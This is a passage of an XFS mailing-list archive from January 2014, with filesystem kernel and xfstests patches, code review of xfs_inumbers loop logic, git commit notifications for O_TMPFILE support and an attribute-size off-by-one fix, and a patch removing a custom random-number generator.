local i local x for i in $SCRATCH_DEV_POOL; do x=`echo $i | cut -d"/" -f 3` - ls -l /sys/class/block/${x} | grep -q "virtual" - if [ $? == "0" ]; then - _notrun "$i is a virtual device which is not deletable" + if [ ! -f /sys/class/block/${x}/device/delete ]; then + _notrun "$i is a device which is not deletable" fi done } diff --git a/tests/btrfs/003 b/tests/btrfs/003 index 9105d06..29f947b 100755 --- a/tests/btrfs/003 +++ b/tests/btrfs/003 @@ -49,7 +49,7 @@ _need_to_be_root _supported_fs btrfs _supported_os Linux _require_scratch -_require_scratch_dev_pool +_require_scratch_dev_pool 4 _require_deletable_scratch_dev_pool _require_command $WIPEFS_PROG diff --git a/tests/btrfs/011 b/tests/btrfs/011 index 71ff3de..faa0402 100755 --- a/tests/btrfs/011 +++ b/tests/btrfs/011 @@ -62,7 +62,7 @@ trap "_cleanup; exit \$status" 0 1 2 3 15 _need_to_be_root _supported_fs btrfs _require_scratch -_require_scratch_dev_pool +_require_scratch_dev_pool 4 _require_command $BTRFS_SHOW_SUPER_PROG btrfs-show-super rm -f $seqres.full -- 1.8.5.2 From tinguely@sgi.com Mon Jan 6 08:38:12 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A80307F37 for ; Mon, 6 Jan 2014 08:38:12 -0600 (CST) Received: from eagdhcp-232-151.americas.sgi.com (eagdhcp-232-151.americas.sgi.com [128.162.232.151]) by relay1.corp.sgi.com (Postfix) with ESMTP id 73B328F8035; Mon, 6 Jan 2014 06:38:09 -0800 (PST) Message-ID: <52CABFD1.70100@sgi.com> Date: Mon, 06 Jan 2014 08:38:09 -0600 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Jeff Liu CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix off-by-one error in xfs_attr3_rmt_verify References: <52C3FBC3.3050304@oracle.com> In-Reply-To: <52C3FBC3.3050304@oracle.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 01/01/14 05:28, Jeff Liu wrote: > From: Jie Liu > > With CRC check is enabled, if trying to set an attributes value just > equal to the maximum size of XATTR_SIZE_MAX would cause the v3 remote > attr write verification procedure failure, which would yield the back > trace like below: > > > XFS (sda7): Internal error xfs_attr3_rmt_write_verify at line 191 of file fs/xfs/xfs_attr_remote.c > > Call Trace: > [] dump_stack+0x45/0x56 > [] xfs_error_report+0x3b/0x40 [xfs] > [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] > [] xfs_corruption_error+0x55/0x80 [xfs] > [] xfs_attr3_rmt_write_verify+0x14b/0x1a0 [xfs] > [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] > [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] > [] _xfs_buf_ioapply+0x6d/0x390 [xfs] > [] ? vm_map_ram+0x31a/0x460 > [] ? wake_up_state+0x20/0x20 > [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] > [] xfs_buf_iorequest+0x6b/0xc0 [xfs] > [] xfs_bdstrat_cb+0x55/0xb0 [xfs] > [] xfs_bwrite+0x46/0x80 [xfs] > [] xfs_attr_rmtval_set+0x334/0x490 [xfs] > [] xfs_attr_leaf_addname+0x24a/0x410 [xfs] > [] xfs_attr_set_int+0x223/0x470 [xfs] > [] xfs_attr_set+0x96/0xb0 [xfs] > [] xfs_xattr_set+0x42/0x70 [xfs] > [] generic_setxattr+0x62/0x80 > [] __vfs_setxattr_noperm+0x63/0x1b0 > [] ? evm_inode_setxattr+0xe/0x10 > [] vfs_setxattr+0xb5/0xc0 > [] setxattr+0x12e/0x1c0 > [] ? final_putname+0x22/0x50 > [] ? putname+0x2b/0x40 > [] ? user_path_at_empty+0x5f/0x90 > [] ? __sb_start_write+0x49/0xe0 > [] ? vm_mmap_pgoff+0x99/0xc0 > [] SyS_setxattr+0x8f/0xe0 > [] system_call_fastpath+0x1a/0x1f > > Tests: > setfattr -n user.longxattr -v `perl -e 'print "A"x65536'` testfile > > This patch fix it to check the remote EA size is greater than the > XATTR_SIZE_MAX rather than more than or equal to it, because it's > valid if the specified EA value size is equal to the limitation as > per VFS setxattr interface. > > Signed-off-by: Jie Liu > --- Good catch. Are you making an edge case xfstest? Reviewed-by: Mark Tinguely From bfoster@redhat.com Mon Jan 6 08:58:19 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D27AD7F4E for ; Mon, 6 Jan 2014 08:58:18 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 69811AC005 for ; Mon, 6 Jan 2014 06:58:18 -0800 (PST) X-ASG-Debug-ID: 1389020297-04bdf00fe251dd80001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 0ByTXG65xqqT7gCf for ; Mon, 06 Jan 2014 06:58:17 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx09.intmail.prod.int.phx2.redhat.com (int-mx09.intmail.prod.int.phx2.redhat.com [10.5.11.22]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s06EwF1Y026764 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Jan 2014 09:58:16 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx09.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s06EwFLW002389; Mon, 6 Jan 2014 09:58:15 -0500 Message-ID: <52CAC622.2020805@redhat.com> Date: Mon, 06 Jan 2014 10:05:06 -0500 From: Brian Foster User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Jeff Liu , "xfs@oss.sgi.com" Subject: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers References: <52BEB3FA.5080402@oracle.com> <52C72362.2000005@redhat.com> <52CA4BDB.7010804@oracle.com> X-ASG-Orig-Subj: Re: [PATCH 3/10] xfs: consolidate xfs_inumbers In-Reply-To: <52CA4BDB.7010804@oracle.com> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.22 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389020297 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 01/06/2014 01:23 AM, Jeff Liu wrote: > On 01/04 2014 04:53 AM, Brian Foster wrote: >> On 12/28/2013 06:20 AM, Jeff Liu wrote: >>> From: Jie Liu >>> >>> To fetch the file system number tables, we currently just ignore the >>> errors and proceed to loop over the next AG or bump agino to the next >>> chunk in case of btree operations failed, that is not properly because >>> those errors might hint us potential file system problems. >>> >>> This patch rework xfs_inumbers() to handle the btree operation errors >>> as well as the loop conditions. Also, add pre-checkups for the given >>> inode, we can save alloc/free the format buffer once against an invalid >>> inode number. >>> >>> Signed-off-by: Jie Liu >>> --- >>> fs/xfs/xfs_itable.c | 163 +++++++++++++++++++++++----------------------------- >>> 1 file changed, 72 insertions(+), 91 deletions(-) >>> >>> diff --git a/fs/xfs/xfs_itable.c b/fs/xfs/xfs_itable.c >>> index 692671c..4d262f6 100644 >>> --- a/fs/xfs/xfs_itable.c >>> +++ b/fs/xfs/xfs_itable.c ... >>> - error = xfs_inobt_get_rec(cur, &r, &i); >>> - if (error || i == 0) { >>> - xfs_buf_relse(agbp); >>> - agbp = NULL; >>> - xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >>> - cur = NULL; >>> - agno++; >>> - agino = 0; >>> - continue; >>> + error = xfs_inobt_lookup(cur, agino, XFS_LOOKUP_GE, &stat); >>> + if (error) >>> + break; >> >> Isn't this lookup only needed after cursor initialization? i.e., we >> lookup once and increment through the records via xfs_btree_increment() >> below. > > Yes, but please see my comments below. >> ... >>> + if (!--left) >>> + break; >>> + >>> + error = xfs_btree_increment(cur, 0, &stat); >>> + if (error) >>> + break; >>> + if (stat) { >>> + /* >>> + * The agino value has already been bumped, just try >>> + * to skip up to it. >>> + */ >>> + agino += XFS_INODES_PER_CHUNK; >>> + continue; >>> } >> >> Maybe it's just me, but this reads a little funny to me. In particular >> because we only get here if stat == 1. I wonder if this would look a bit >> cleaner if we pulled the next_ag labeled block below up into the goto, >> since that appears to be the only reference. Then just let the loop fall >> through. > > Actually, we would never hint xfs_btree_increment() at all no matter the default > or with my current change, because the left variable value is 1 as per the user > space imap implementation, thus, it should be decreased to 0 in this point. > > The problem is, how we define the user call interface originally, why it does not > support a 2nd argument which can be used to specified a desired icount to return a > limited number of inode mapping tables? i.e, > > imap_f() { > > if (argc != 2) > nent = 1; > else > nent = atoi(argv[1]); > > .... > } > > The imap command does not support another options but initialize bulkreq.icount = nent = 1; > In kernel, the bcount is evaluated to 1 and if (bufidx == bcount) should be true anyway as > below code logic: > > bcount = MIN(left, (int)(PAGE_SIZE / sizeof(*buffer))); > > if (bufidx == bcount) { > .... > formatter(); > .... > } Hi Jeff, I see, but this is just a characteristic of the imap command in xfs_io. I can use an argument just by changing argmax from 0 to 1. Perhaps this is just a bug, since 'help imap' provides syntax that allows a parameter: xfs_io> help imap imap [nentries] -- inode map for filesystem of current file > > But, if the left value could be specified from the user progs, maybe we cannot simply > assuming "stat == 1" is always be true, in particular, in next path for implementing > per AG inumber mechanism, xfs_btree_increment() would probably succeed but "stat == 0" > if there is no right neighbors, and if the user could specified the 2nd imap option. > Hmm, that looked odd to me as well once you pointed that out. A quick printk check shows that xfs_btree_increment() does not fail in this scenario, but the subsequent xfs_inobt_get_rec() in the following iteration sets i == 0 and skips to the next ag appropriately. I agree that a tmp == 0 check in this scenario would be slightly more intuitive though. But either way, we should probably maintain the general algorithm of walking the btree explicitly rather than incrementing agino and issuing the lookup each iteration of the loop. > Hence, in this patch, I only intended to fix the btree error handling mechanism as a > preparation step to implement per AG inumber. > Right... I see that the following patches clean this up further (though I haven't looked in detail yet). >> >> Also, I think the agino addition here becomes unnecessary when the >> lookup issue above is addressed. >> >>> - } >>> + >>> +next_ag: >>> + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); >>> + cur = NULL; >>> + xfs_buf_relse(agbp); >>> + agbp = NULL; >>> + agino = 0; >>> + } while (++agno < mp->m_sb.sb_agcount); >>> + >> >> ... and just thinking about the logic that way highlights the bug here, >> where we bump agno due to the continue above (where IIUC, we intend to >> only move forward within the ag). Perhaps the ++agno should be part of >> the broken off 'next_ag' logic as well. > > Can you please point out a bit more about the bug? We bump agno due to > current run out of the current AG but the user want to show more imaps. > agno is bumped in the while condition at the end of the loop. This will also be executed in the following block if xfs_btree_increment() succeeds and finds a record to the right: error = xfs_btree_increment(cur, 0, &stat); if (error) break; if (stat) { ... agino += XFS_INODES_PER_CHUNK; ------> continue; } The continue statement will execute the loop condition to determine whether it should iterate the loop again or break. In this case, you're still moving along the original AG, but agno has been bumped erroneously. This error looks to be hidden by the non-looping scenario where nentries is 1, but make the xfsprogs fix I described above and you'll probably see what I'm describing. I only see a subset of the original imap output using a record count of 10 on an fs with a couple thousand inodes spread across a couple AGs. FWIW, it does look like the following patch fixes this particular problem via the introduction of xfs_perag_inumbers(), but we shouldn't introduce transient errors into the patch stream if we can help it. It looks like the comments about the repeated inobt lookups still apply though (and the implementation as of patch 4 is still skipping inodes with nentries > 1, perhaps due to advancing agino multiple times per iteration..?). Brian > > Thanks, > -Jeff > From bfoster@redhat.com Mon Jan 6 09:17:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5648F7F51 for ; Mon, 6 Jan 2014 09:17:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 435B3304039 for ; Mon, 6 Jan 2014 07:17:38 -0800 (PST) X-ASG-Debug-ID: 1389021457-04cbb04169c26130001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id tMMvlVV0BTyAW8Lc for ; Mon, 06 Jan 2014 07:17:37 -0800 (PST) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s06FHZMu017501 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Mon, 6 Jan 2014 10:17:36 -0500 Received: from bfoster.bfoster ([10.18.41.237]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s06FHZVE027288; Mon, 6 Jan 2014 10:17:35 -0500 Received: by bfoster.bfoster (Postfix, from userid 1000) id CFD1D1201A5; Mon, 6 Jan 2014 10:24:26 -0500 (EST) From: Brian Foster To: xfs@oss.sgi.com Cc: jeff.liu@oracle.com Subject: [PATCH] xfsprogs/io: set argmax to 1 for imap command Date: Mon, 6 Jan 2014 10:24:26 -0500 X-ASG-Orig-Subj: [PATCH] xfsprogs/io: set argmax to 1 for imap command Message-Id: <1389021866-10793-1-git-send-email-bfoster@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1389021457 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The imap command supports an optional argument to specify the number of inode records to capture per ioctl(), but argmax is currently set to 0. This leads to an error if an argument is provided on the command line. Set argmax to 1 to support the optional argument. Signed-off-by: Brian Foster --- io/imap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/io/imap.c b/io/imap.c index 0a4f14e..4f3f883 100644 --- a/io/imap.c +++ b/io/imap.c @@ -67,7 +67,7 @@ imap_init(void) imap_cmd.name = "imap"; imap_cmd.cfunc = imap_f; imap_cmd.argmin = 0; - imap_cmd.argmax = 0; + imap_cmd.argmax = 1; imap_cmd.args = _("[nentries]"); imap_cmd.flags = CMD_NOMAP_OK; imap_cmd.oneline = _("inode map for filesystem of current file"); -- 1.8.1.4 From bpm@sgi.com Mon Jan 6 11:41:52 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E767C7F51 for ; Mon, 6 Jan 2014 11:41:51 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id CE09130407A; Mon, 6 Jan 2014 09:41:48 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 9523E4266DC; Mon, 6 Jan 2014 11:41:48 -0600 (CST) Date: Mon, 6 Jan 2014 11:41:48 -0600 From: Ben Myers To: Jan Kara Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfstests: UDF support improvements Message-ID: <20140106174148.GZ1935@sgi.com> References: <1387839231-8558-1-git-send-email-jack@suse.cz> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1387839231-8558-1-git-send-email-jack@suse.cz> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Dec 23, 2013 at 11:53:49PM +0100, Jan Kara wrote: > > Hello, > > below are two patches which improve UDF support in xfstests. Both look good to me. Reviewed-by: Ben Myers From bpm@oss.sgi.com Mon Jan 6 13:56:18 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 483757F4E; Mon, 6 Jan 2014 13:56:18 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-O_TMPFILE-support, created. v3.12-11688-gab29743 X-Git-Refname: refs/heads/xfs-O_TMPFILE-support X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: ab29743117f9f4c22ac44c13c1647fb24fb2bafe Message-Id: <20140106195618.483757F4E@oss.sgi.com> Date: Mon, 6 Jan 2014 13:56:17 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-O_TMPFILE-support has been created at ab29743117f9f4c22ac44c13c1647fb24fb2bafe (commit) - Log ----------------------------------------------------------------- commit ab29743117f9f4c22ac44c13c1647fb24fb2bafe Author: Zhi Yong Wu Date: Wed Dec 18 08:22:41 2013 +0800 xfs: allow linkat() on O_TMPFILE files The VFS allows an anonymous temporary file to be named at a later time via a linkat() syscall. The inodes for O_TMPFILE files are are marked with a special flag I_LINKABLE and have a zero link count. To support this in XFS, xfs_link() detects if this flag I_LINKABLE is set and behaves appropriately when detected. So in this case, its transaciton reservation takes into account the additional overhead of removing the inode from the unlinked list. Then the inode is removed from the unlinked list and the directory entry is added. Finally its link count is bumped accordingly. Signed-off-by: Zhi Yong Wu Reviewed-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 99b6436bc29e4f10e4388c27a3e4810191cc4788 Author: Zhi Yong Wu Date: Wed Dec 18 08:22:40 2013 +0800 xfs: add O_TMPFILE support Add two functions xfs_create_tmpfile() and xfs_vn_tmpfile() to support O_TMPFILE file creation. In contrast to xfs_create(), xfs_create_tmpfile() has a different log reservation to the regular file creation because there is no directory modification, and doesn't check if an entry can be added to the directory, but the reservation quotas is required appropriately, and finally its inode is added to the unlinked list. xfs_vn_tmpfile() add one O_TMPFILE method to VFS interface and directly invoke xfs_create_tmpfile(). Signed-off-by: Zhi Yong Wu Reviewed-by: Dave Chinner Reviewed-by: Christoph Hellwig Signed-off-by: Ben Myers commit 163467d3753e77e1d77da75727975cc3803a1dbc Author: Zhi Yong Wu Date: Wed Dec 18 08:22:39 2013 +0800 xfs: factor prid related codes into xfs_get_initial_prid() It will be reused by the O_TMPFILE creation function. Reviewed-by: Christoph Hellwig Signed-off-by: Zhi Yong Wu Signed-off-by: Ben Myers ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From bpm@oss.sgi.com Mon Jan 6 13:57:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id B93857F52; Mon, 6 Jan 2014 13:57:16 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-misc, created. v3.12-11686-g85dd070 X-Git-Refname: refs/heads/xfs-misc X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: 85dd0707f0cad26d60f2dc574d17a5ab948d10f7 Message-Id: <20140106195716.B93857F52@oss.sgi.com> Date: Mon, 6 Jan 2014 13:57:16 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-misc has been created at 85dd0707f0cad26d60f2dc574d17a5ab948d10f7 (commit) - Log ----------------------------------------------------------------- commit 85dd0707f0cad26d60f2dc574d17a5ab948d10f7 Author: Jie Liu Date: Wed Jan 1 19:28:03 2014 +0800 xfs: fix off-by-one error in xfs_attr3_rmt_verify With CRC check is enabled, if trying to set an attributes value just equal to the maximum size of XATTR_SIZE_MAX would cause the v3 remote attr write verification procedure failure, which would yield the back trace like below: XFS (sda7): Internal error xfs_attr3_rmt_write_verify at line 191 of file fs/xfs/xfs_attr_remote.c Call Trace: [] dump_stack+0x45/0x56 [] xfs_error_report+0x3b/0x40 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] xfs_corruption_error+0x55/0x80 [xfs] [] xfs_attr3_rmt_write_verify+0x14b/0x1a0 [xfs] [] ? _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] _xfs_buf_ioapply+0x6d/0x390 [xfs] [] ? vm_map_ram+0x31a/0x460 [] ? wake_up_state+0x20/0x20 [] ? xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_buf_iorequest+0x6b/0xc0 [xfs] [] xfs_bdstrat_cb+0x55/0xb0 [xfs] [] xfs_bwrite+0x46/0x80 [xfs] [] xfs_attr_rmtval_set+0x334/0x490 [xfs] [] xfs_attr_leaf_addname+0x24a/0x410 [xfs] [] xfs_attr_set_int+0x223/0x470 [xfs] [] xfs_attr_set+0x96/0xb0 [xfs] [] xfs_xattr_set+0x42/0x70 [xfs] [] generic_setxattr+0x62/0x80 [] __vfs_setxattr_noperm+0x63/0x1b0 [] ? evm_inode_setxattr+0xe/0x10 [] vfs_setxattr+0xb5/0xc0 [] setxattr+0x12e/0x1c0 [] ? final_putname+0x22/0x50 [] ? putname+0x2b/0x40 [] ? user_path_at_empty+0x5f/0x90 [] ? __sb_start_write+0x49/0xe0 [] ? vm_mmap_pgoff+0x99/0xc0 [] SyS_setxattr+0x8f/0xe0 [] system_call_fastpath+0x1a/0x1f Tests: setfattr -n user.longxattr -v `perl -e 'print "A"x65536'` testfile This patch fix it to check the remote EA size is greater than the XATTR_SIZE_MAX rather than more than or equal to it, because it's valid if the specified EA value size is equal to the limitation as per VFS setxattr interface. Signed-off-by: Jie Liu Reviewed-by: Mark Tinguely Signed-off-by: Ben Myers ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From prvs=60833a79cb=jbacik@fb.com Mon Jan 6 13:59:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 463587F50 for ; Mon, 6 Jan 2014 13:59:00 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id BD7FAAC005 for ; Mon, 6 Jan 2014 11:58:59 -0800 (PST) X-ASG-Debug-ID: 1389038338-04cb6c537dc3f050001-NocioJ Received: from mx0a-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id 3wGIu7wayFB4hlHP for ; Mon, 06 Jan 2014 11:58:58 -0800 (PST) X-Barracuda-Envelope-From: prvs=60833a79cb=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004003 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s06Jwwxg018668; Mon, 6 Jan 2014 11:58:58 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=from : to : subject : date : message-id : mime-version : content-type; s=facebook; bh=WY3B0kBMBpPLgT3GqnTwcLbYLhBQAeUzX3RLVkqnrco=; b=XfSZJRf31EAb+q/c6jxMr62JLasvkzi4T2aq3R6NGhWJsSSq71PK0uQQO8yiWNBL2SWf /8EpnESXs9g8gkaD1InsylJeTrb0QUoFXH6+cZSjRqMuMyy8Nx23F3Hs/Z0Z1FKTxj7a PREl+s7KTWwD+h3r6dX/fYKLpy1p7oKXwv0= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1h7y5s8weg-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Mon, 06 Jan 2014 11:58:57 -0800 Received: from localhost (192.168.57.29) by mail.thefacebook.com (192.168.16.12) with Microsoft SMTP Server (TLS) id 14.3.174.1; Mon, 6 Jan 2014 11:58:45 -0800 From: Josef Bacik To: , Subject: [PATCH] xfstests: kill lib/random.c Date: Mon, 6 Jan 2014 14:58:43 -0500 X-ASG-Orig-Subj: [PATCH] xfstests: kill lib/random.c Message-ID: <1389038323-8304-1-git-send-email-jbacik@fb.com> X-Mailer: git-send-email 1.8.3.1 MIME-Version: 1.0 Content-Type: text/plain X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-06_03:2014-01-06,2014-01-06,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=2.81856093575783e-07 kscore.compositescore=0 circleOfTrustscore=214.586322024494 compositescore=0.999738115633958 urlsuspect_oldscore=0.999738115633958 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=64355 rbsscore=0.999738115633958 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401060129 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1389038338 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 I was trying to reproduce something with fsx and I noticed that no matter what seed I set I was getting the same file. Come to find out we are overloading random() with our own custom horribleness for some unknown reason. So nuke the damn thing from orbit and rely on glibc's random(). With this fix the -S option actually does something with fsx. Thanks, Signed-off-by: Josef Bacik --- lib/Makefile | 3 +- lib/random.c | 240 ----------------------------------------------------------- 2 files changed, 1 insertion(+), 242 deletions(-) delete mode 100644 lib/random.c diff --git a/lib/Makefile b/lib/Makefile index c7348ce..a9e32bc 100644 --- a/lib/Makefile +++ b/lib/Makefile @@ -16,8 +16,7 @@ LT_AGE = 0 # CFILES = dataascii.c databin.c datapid.c file_lock.c forker.c \ pattern.c open_flags.c random_range.c string_to_tokens.c \ - str_to_bytes.c tlibio.c write_log.c \ - random.c + str_to_bytes.c tlibio.c write_log.c default: depend $(LTLIBRARY) diff --git a/lib/random.c b/lib/random.c deleted file mode 100644 index eb23cd9..0000000 --- a/lib/random.c +++ /dev/null @@ -1,240 +0,0 @@ -/************************************************************************** - * - * random.c -- pseudo random number generator - * Copyright (C) 1994 Chris Wallace (csw@bruce.cs.monash.edu.au) - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. - * - * - **************************************************************************/ - -#include - -/* - * modified by dxm@sgi.com so that this file acts as a drop in replacement - * for srandom and random. - */ - -/* - * A random number generator called as a function by - * random (iseed) or irandm (iseed) - * The parameter should be a pointer to a 2-element int32_t vector. - * The first function returns a double uniform in 0 .. 1. - * The second returns a int32_t integer uniform in 0 .. 2**31-1 - * Both update iseed[] in exactly the same way. - * iseed[] must be a 2-element integer vector. - * The initial value of the second element may be anything. - * - * The period of the random sequence is 2**32 * (2**32-1) - * The table mt[0:127] is defined by mt[i] = 69069 ** 